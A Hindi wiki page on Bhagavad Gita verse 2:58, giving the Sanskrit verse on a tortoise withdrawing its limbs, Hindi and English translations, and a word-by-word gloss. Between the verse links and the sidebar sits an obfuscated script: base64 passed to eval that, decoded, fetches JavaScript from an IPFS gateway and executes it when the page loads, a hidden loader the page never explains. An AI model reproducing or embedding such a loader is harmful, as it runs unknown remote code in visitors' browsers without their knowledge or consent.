गीता 2:58

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Ashwani Bhatia (चर्चा | योगदान) द्वारा परिवर्तित ०९:५२, ५ जनवरी २०१० का अवतरण (Text replace - '{{menu}}<br />' to '{{menu}}')
नेविगेशन पर जाएँ खोज पर जाएँ

गीता अध्याय-2 श्लोक-58 / Gita Chapter-2 Verse-58

प्रसंग-


पूर्व श्लोक में तीसरे प्रश्न का उत्तर देते हुए स्थित प्रज्ञ के बैठने का प्रकार बतलाकर अब उसमें होने वाली शंकाओं का समाधान करने के लिये अन्य प्रकार से किये जाने वाले इन्द्रिय संयम की अपेक्षा स्थित प्रज्ञ के इन्द्रिय संयम की विलक्षणता दिखलाते हैं-


यदा संहरते चायं कूर्मोंऽग्नीङाव सर्वश: ।
इन्द्रियाणीन्द्रियार्थेभ्यस्तस्य प्रज्ञा प्रतिष्ठिता ।।58।।




जैसे कछुवा अपने सब अंगों को समेट लेता है, वैसे ही जिसने अपनी सब इन्द्रियों को हटा लिया है, उसकी बुद्धि स्थिर हो जाती है ।।58।।


When like a tortoise, which draws in its limbs from all directions, he withdraws his senses from the sense- objects, his mind is ( should be considered as) stable.(58)


च = और ; कूर्म: = कछुआ (अपने) ; अग्डानि = अग्डोंको ; इव = जैसे (समेट लेता है वैसे ही ) ; अयम् = यह पुरूष ; यदा = जब ; सर्वश: = जब ओरसे ; इन्द्रियाणि = इन्द्रियोंको ; इन्द्रियार्थेभ्य: = इन्द्रियोंके विषयोंसे ; संहरते = समेट लेता है (तब) ; तस्य = उसकी ; प्रज्ञा = बुद्धि ; प्रतिष्ठिता = स्थिर होती है



अध्याय दो श्लोक संख्या
Verses- Chapter-2

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 , 43, 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar>